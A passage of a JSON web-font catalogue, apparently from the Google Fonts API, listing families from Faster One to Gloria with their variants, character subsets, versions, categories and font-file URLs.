One","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/fasterone/v12/H4ciBXCHmdfClFb-vWhfyLuShq63czE.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Fasthand","variants":["regular"],"subsets":["khmer"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/fasthand/v11/0yb9GDohyKTYn_ZEESkuYkw2rQg1.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Fauna One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/faunaone/v8/wlpzgwTPBVpjpCuwkuEx2UxLYClOCg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Faustina","variants":["regular","500","600","700","italic","500italic","600italic","700italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v7","lastModified":"2020-06-26","files":{"regular":"http://fonts.gstatic.com/s/faustina/v7/XLY4IZPxYpJfTbZAFXWzNT2SO8wpWHlsgoEvGVWWe8tbEg.ttf","500":"http://fonts.gstatic.com/s/faustina/v7/XLY4IZPxYpJfTbZAFXWzNT2SO8wpWHlssIEvGVWWe8tbEg.ttf","600":"http://fonts.gstatic.com/s/faustina/v7/XLY4IZPxYpJfTbZAFXWzNT2SO8wpWHlsXIYvGVWWe8tbEg.ttf","700":"http://fonts.gstatic.com/s/faustina/v7/XLY4IZPxYpJfTbZAFXWzNT2SO8wpWHlsZYYvGVWWe8tbEg.ttf","italic":"http://fonts.gstatic.com/s/faustina/v7/XLY2IZPxYpJfTbZAFV-6B8JKUqez9n55SsLHWl-SWc5LEnoF.ttf","500italic":"http://fonts.gstatic.com/s/faustina/v7/XLY2IZPxYpJfTbZAFV-6B8JKUqez9n55SsL1Wl-SWc5LEnoF.ttf","600italic":"http://fonts.gstatic.com/s/faustina/v7/XLY2IZPxYpJfTbZAFV-6B8JKUqez9n55SsIZXV-SWc5LEnoF.ttf","700italic":"http://fonts.gstatic.com/s/faustina/v7/XLY2IZPxYpJfTbZAFV-6B8JKUqez9n55SsIgXV-SWc5LEnoF.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Federant","variants":["regular"],"subsets":["latin"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/federant/v13/2sDdZGNfip_eirT0_U0jRUG0AqUc.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Federo","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/federo/v12/iJWFBX-cbD_ETsbmjVOe2WTG7Q.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Felipa","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v7","lastModified":"2020-07-15","files":{"regular":"http://fonts.gstatic.com/s/felipa/v7/FwZa7-owz1Eu4F_wSNSEwM2zpA.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Fenix","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/fenix/v8/XoHo2YL_S7-g5ostKzAFvs8o.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Finger Paint","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/fingerpaint/v10/0QInMXVJ-o-oRn_7dron8YWO85bS8ANesw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Fira Code","variants":["300","regular","500","600","700"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext"],"version":"v9","lastModified":"2020-06-26","files":{"300":"http://fonts.gstatic.com/s/firacode/v9/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_GNsFVfxN87gsj0.ttf","regular":"http://fonts.gstatic.com/s/firacode/v9/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_D1sFVfxN87gsj0.ttf","500":"http://fonts.gstatic.com/s/firacode/v9/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_A9sFVfxN87gsj0.ttf","600":"http://fonts.gstatic.com/s/firacode/v9/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_ONrFVfxN87gsj0.ttf","700":"http://fonts.gstatic.com/s/firacode/v9/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_NprFVfxN87gsj0.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Fira Mono","variants":["regular","500","700"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/firamono/v9/N0bX2SlFPv1weGeLZDtQIfTTkdbJYA.ttf","500":"http://fonts.gstatic.com/s/firamono/v9/N0bS2SlFPv1weGeLZDto1d33mf3VaZBRBQ.ttf","700":"http://fonts.gstatic.com/s/firamono/v9/N0bS2SlFPv1weGeLZDtondv3mf3VaZBRBQ.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Fira Sans","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v10","lastModified":"2019-07-22","files":{"100":"http://fonts.gstatic.com/s/firasans/v10/va9C4kDNxMZdWfMOD5Vn9IjOazP3dUTP.ttf","100italic":"http://fonts.gstatic.com/s/firasans/v10/va9A4kDNxMZdWfMOD5VvkrCqYTfVcFTPj0s.ttf","200":"http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnWKnuQR37fF3Wlg.ttf","200italic":"http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrAGQBf_XljGllLX.ttf","300":"http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnPKruQR37fF3Wlg.ttf","300italic":"http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrBiQxf_XljGllLX.ttf","regular":"http://fonts.gstatic.com/s/firasans/v10/va9E4kDNxMZdWfMOD5VfkILKSTbndQ.ttf","italic":"http://fonts.gstatic.com/s/firasans/v10/va9C4kDNxMZdWfMOD5VvkojOazP3dUTP.ttf","500":"http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnZKvuQR37fF3Wlg.ttf","500italic":"http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrA6Qhf_XljGllLX.ttf","600":"http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnSKzuQR37fF3Wlg.ttf","600italic":"http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrAWRRf_XljGllLX.ttf","700":"http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnLK3uQR37fF3Wlg.ttf","700italic":"http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrByRBf_XljGllLX.ttf","800":"http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnMK7uQR37fF3Wlg.ttf","800italic":"http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrBuRxf_XljGllLX.ttf","900":"http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnFK_uQR37fF3Wlg.ttf","900italic":"http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrBKRhf_XljGllLX.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Fira Sans Condensed","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v4","lastModified":"2019-07-17","files":{"100":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOjEADFm8hSaQTFG18FErVhsC9x-tarWZXtqOlQfx9CjA.ttf","100italic":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOtEADFm8hSaQTFG18FErVhsC9x-tarUfPVzONUXRpSjJcu.ttf","200":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWTnMiMN-cxZblY4.ttf","200italic":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVYMJ0dzRehY43EA.ttf","300":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWV3PiMN-cxZblY4.ttf","300italic":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVBMF0dzRehY43EA.ttf","regular":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOhEADFm8hSaQTFG18FErVhsC9x-tarYfHnrMtVbx8.ttf","italic":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOjEADFm8hSaQTFG18FErVhsC9x-tarUfPtqOlQfx9CjA.ttf","500":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWQXOiMN-cxZblY4.ttf","500italic":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVXMB0dzRehY43EA.ttf","600":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWSnJiMN-cxZblY4.ttf","600italic":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVcMd0dzRehY43EA.ttf","700":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWU3IiMN-cxZblY4.ttf","700italic":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVFMZ0dzRehY43EA.ttf","800":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWVHLiMN-cxZblY4.ttf","800italic":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVCMV0dzRehY43EA.ttf","900":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWXXKiMN-cxZblY4.ttf","900italic":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVLMR0dzRehY43EA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Fira Sans Extra Condensed","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v4","lastModified":"2019-07-17","files":{"100":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPMcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3Zyuv1WarE9ncg.ttf","100italic":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPOcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqW21-ejkp3cn22.ttf","200":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3TCPn3-0oEZ-a2Q.ttf","200italic":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWd36-pGR7e2SvJQ.ttf","300":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3VSMn3-0oEZ-a2Q.ttf","300italic":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWE32-pGR7e2SvJQ.ttf","regular":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPKcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda5fiku3efvE8.ttf","italic":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPMcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fquv1WarE9ncg.ttf","500":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3QyNn3-0oEZ-a2Q.ttf","500italic":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWS3y-pGR7e2SvJQ.ttf","600":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3SCKn3-0oEZ-a2Q.ttf","600italic":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWZ3u-pGR7e2SvJQ.ttf","700":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3USLn3-0oEZ-a2Q.ttf","700italic":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWA3q-pGR7e2SvJQ.ttf","800":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3ViIn3-0oEZ-a2Q.ttf","800italic":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWH3m-pGR7e2SvJQ.ttf","900":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3XyJn3-0oEZ-a2Q.ttf","900italic":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWO3i-pGR7e2SvJQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Fjalla One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/fjallaone/v8/Yq6R-LCAWCX3-6Ky7FAFnOZwkxgtUb8.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Fjord One","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/fjordone/v9/zOL-4pbEnKBY_9S1jNKr6e5As-FeiQ.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Flamenco","variants":["300","regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/flamenco/v11/neIPzCehqYguo67ssZ0qNIkyepH9qGsf.ttf","regular":"http://fonts.gstatic.com/s/flamenco/v11/neIIzCehqYguo67ssaWGHK06UY30.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Flavors","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/flavors/v10/FBV2dDrhxqmveJTpbkzlNqkG9UY.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Fondamento","variants":["regular","italic"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/fondamento/v11/4UaHrEJGsxNmFTPDnkaJx63j5pN1MwI.ttf","italic":"http://fonts.gstatic.com/s/fondamento/v11/4UaFrEJGsxNmFTPDnkaJ96_p4rFwIwJePw.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Fontdiner Swanky","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/fontdinerswanky/v11/ijwOs4XgRNsiaI5-hcVb4hQgMvCD4uEfKiGvxts.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Forum","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/forum/v11/6aey4Ky-Vb8Ew_IWMJMa3mnT.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Francois One","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v15","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/francoisone/v15/_Xmr-H4zszafZw3A-KPSZutNxgKQu_avAg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Frank Ruhl Libre","variants":["300","regular","500","700","900"],"subsets":["hebrew","latin","latin-ext"],"version":"v6","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/frankruhllibre/v6/j8_36_fAw7jrcalD7oKYNX0QfAnPUxvHxJDMhYeIHw8.ttf","regular":"http://fonts.gstatic.com/s/frankruhllibre/v6/j8_w6_fAw7jrcalD7oKYNX0QfAnPa7fv4JjnmY4.ttf","500":"http://fonts.gstatic.com/s/frankruhllibre/v6/j8_36_fAw7jrcalD7oKYNX0QfAnPU0PGxJDMhYeIHw8.ttf","700":"http://fonts.gstatic.com/s/frankruhllibre/v6/j8_36_fAw7jrcalD7oKYNX0QfAnPUwvAxJDMhYeIHw8.ttf","900":"http://fonts.gstatic.com/s/frankruhllibre/v6/j8_36_fAw7jrcalD7oKYNX0QfAnPUzPCxJDMhYeIHw8.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Freckle Face","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/freckleface/v9/AMOWz4SXrmKHCvXTohxY-YI0U1K2w9lb4g.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Fredericka the Great","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/frederickathegreat/v10/9Bt33CxNwt7aOctW2xjbCstzwVKsIBVV-9Skz7Ylch2L.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Fredoka One","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/fredokaone/v8/k3kUo8kEI-tA1RRcTZGmTmHBA6aF8Bf_.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Freehand","variants":["regular"],"subsets":["khmer"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/freehand/v12/cIf-Ma5eqk01VjKTgAmBTmUOmZJk.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Fresca","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/fresca/v9/6ae94K--SKgCzbM2Gr0W13DKPA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Frijole","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/frijole/v9/uU9PCBUR8oakM2BQ7xPb3vyHmlI.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Fruktur","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/fruktur/v13/SZc53FHsOru5QYsMfz3GkUrS8DI.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Fugaz One","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/fugazone/v10/rax_HiWKp9EAITukFslMBBJek0vA8A.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"GFS Didot","variants":["regular"],"subsets":["greek"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/gfsdidot/v10/Jqzh5TybZ9vZMWFssvwiF-fGFSCGAA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"GFS Neohellenic","variants":["regular","italic","700","700italic"],"subsets":["greek"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/gfsneohellenic/v13/8QIRdiDOrfiq0b7R8O1Iw9WLcY5TLahP46UDUw.ttf","italic":"http://fonts.gstatic.com/s/gfsneohellenic/v13/8QITdiDOrfiq0b7R8O1Iw9WLcY5jL6JLwaATU91X.ttf","700":"http://fonts.gstatic.com/s/gfsneohellenic/v13/8QIUdiDOrfiq0b7R8O1Iw9WLcY5rkYdr644fWsRO9w.ttf","700italic":"http://fonts.gstatic.com/s/gfsneohellenic/v13/8QIWdiDOrfiq0b7R8O1Iw9WLcY5jL5r37oQbeMFe985V.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Gabriela","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/gabriela/v9/qkBWXvsO6sreR8E-b_m-zrpHmRzC.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Gaegu","variants":["300","regular","700"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"300":"http://fonts.gstatic.com/s/gaegu/v8/TuGSUVB6Up9NU57nifw74sdtBk0x.ttf","regular":"http://fonts.gstatic.com/s/gaegu/v8/TuGfUVB6Up9NU6ZLodgzydtk.ttf","700":"http://fonts.gstatic.com/s/gaegu/v8/TuGSUVB6Up9NU573jvw74sdtBk0x.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Gafata","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/gafata/v9/XRXV3I6Cn0VJKon4MuyAbsrVcA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Galada","variants":["regular"],"subsets":["bengali","latin"],"version":"v6","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/galada/v6/H4cmBXyGmcjXlUX-8iw-4Lqggw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Galdeano","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/galdeano/v10/uU9MCBoQ4YOqOW1boDPx8PCOg0uX.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Galindo","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/galindo/v8/HI_KiYMeLqVKqwyuQ5HiRp-dhpQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Gamja Flower","variants":["regular"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/gamjaflower/v8/6NUR8FiKJg-Pa0rM6uN40Z4kyf9Fdty2ew.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Gayathri","variants":["100","regular","700"],"subsets":["latin","malayalam"],"version":"v2","lastModified":"2020-07-23","files":{"100":"http://fonts.gstatic.com/s/gayathri/v2/MCoWzAb429DbBilWLLhc-pvSA_gA2W8.ttf","regular":"http://fonts.gstatic.com/s/gayathri/v2/MCoQzAb429DbBilWLIA48J_wBugA.ttf","700":"http://fonts.gstatic.com/s/gayathri/v2/MCoXzAb429DbBilWLLiE37v4LfQJwHbn.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Gelasio","variants":["regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v3","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/gelasio/v3/cIf9MaFfvUQxTTqSxCmrYGkHgIs.ttf","italic":"http://fonts.gstatic.com/s/gelasio/v3/cIf_MaFfvUQxTTqS9CuhZEsCkIt9QQ.ttf","500":"http://fonts.gstatic.com/s/gelasio/v3/cIf4MaFfvUQxTTqS_N2CRGEsnIJkWL4.ttf","500italic":"http://fonts.gstatic.com/s/gelasio/v3/cIf6MaFfvUQxTTqS9CuZkGImmKBhSL7Y1Q.ttf","600":"http://fonts.gstatic.com/s/gelasio/v3/cIf4MaFfvUQxTTqS_PGFRGEsnIJkWL4.ttf","600italic":"http://fonts.gstatic.com/s/gelasio/v3/cIf6MaFfvUQxTTqS9CuZvGUmmKBhSL7Y1Q.ttf","700":"http://fonts.gstatic.com/s/gelasio/v3/cIf4MaFfvUQxTTqS_JWERGEsnIJkWL4.ttf","700italic":"http://fonts.gstatic.com/s/gelasio/v3/cIf6MaFfvUQxTTqS9CuZ2GQmmKBhSL7Y1Q.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Gentium Basic","variants":["regular","italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/gentiumbasic/v12/Wnz9HAw9aB_JD2VGQVR80We3HAqDiTI_cIM.ttf","italic":"http://fonts.gstatic.com/s/gentiumbasic/v12/WnzjHAw9aB_JD2VGQVR80We3LAiJjRA6YIORZQ.ttf","700":"http://fonts.gstatic.com/s/gentiumbasic/v12/WnzgHAw9aB_JD2VGQVR80We3JLasrToUbIqIfBU.ttf","700italic":"http://fonts.gstatic.com/s/gentiumbasic/v12/WnzmHAw9aB_JD2VGQVR80We3LAixMT8eaKiNbBVWkw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Gentium Book Basic","variants":["regular","italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/gentiumbookbasic/v11/pe0zMJCbPYBVokB1LHA9bbyaQb8ZGjcIV7t7w6bE2A.ttf","italic":"http://fonts.gstatic.com/s/gentiumbookbasic/v11/pe0xMJCbPYBVokB1LHA9bbyaQb8ZGjc4VbF_4aPU2Ec9.ttf","700":"http://fonts.gstatic.com/s/gentiumbookbasic/v11/pe0wMJCbPYBVokB1LHA9bbyaQb8ZGjcw65Rfy43Y0V4kvg.ttf","700italic":"http://fonts.gstatic.com/s/gentiumbookbasic/v11/pe0-MJCbPYBVokB1LHA9bbyaQb8ZGjc4VYnDzofc81s0voO3.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Geo","variants":["regular","italic"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/geo/v12/CSRz4zRZlufVL3BmQjlCbQ.ttf","italic":"http://fonts.gstatic.com/s/geo/v12/CSRx4zRZluflLXpiYDxSbf8r.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Geostar","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/geostar/v11/sykz-yx4n701VLOftSq9-trEvlQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Geostar Fill","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/geostarfill/v11/AMOWz4SWuWiXFfjEohxQ9os0U1K2w9lb4g.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Germania One","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/germaniaone/v8/Fh4yPjrqIyv2ucM2qzBjeS3ezAJONau6ew.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Gidugu","variants":["regular"],"subsets":["latin","telugu"],"version":"v8","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/gidugu/v8/L0x8DFMkk1Uf6w3RvPCmRSlUig.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Gilda Display","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/gildadisplay/v8/t5tmIRoYMoaYG0WEOh7HwMeR7TnFrpOHYh4.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Girassol","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v3","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/girassol/v3/JTUUjIo_-DK48laaNC9Nz2pJzxbi.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Give You Glory","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/giveyouglory/v10/8QIQdiHOgt3vv4LR7ahjw9-XYc1zB4ZD6rwa.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Glass Antiqua","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/glassantiqua/v8/xfu30Wr0Wn3NOQM2piC0uXOjnL_wN6fRUkY.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Glegoo","variants":["regular","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/glegoo/v10/_Xmt-HQyrTKWaw2Ji6mZAI91xw.ttf","700":"http://fonts.gstatic.com/s/glegoo/v10/_Xmu-HQyrTKWaw2xN4a9CKRpzimMsg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Gloria 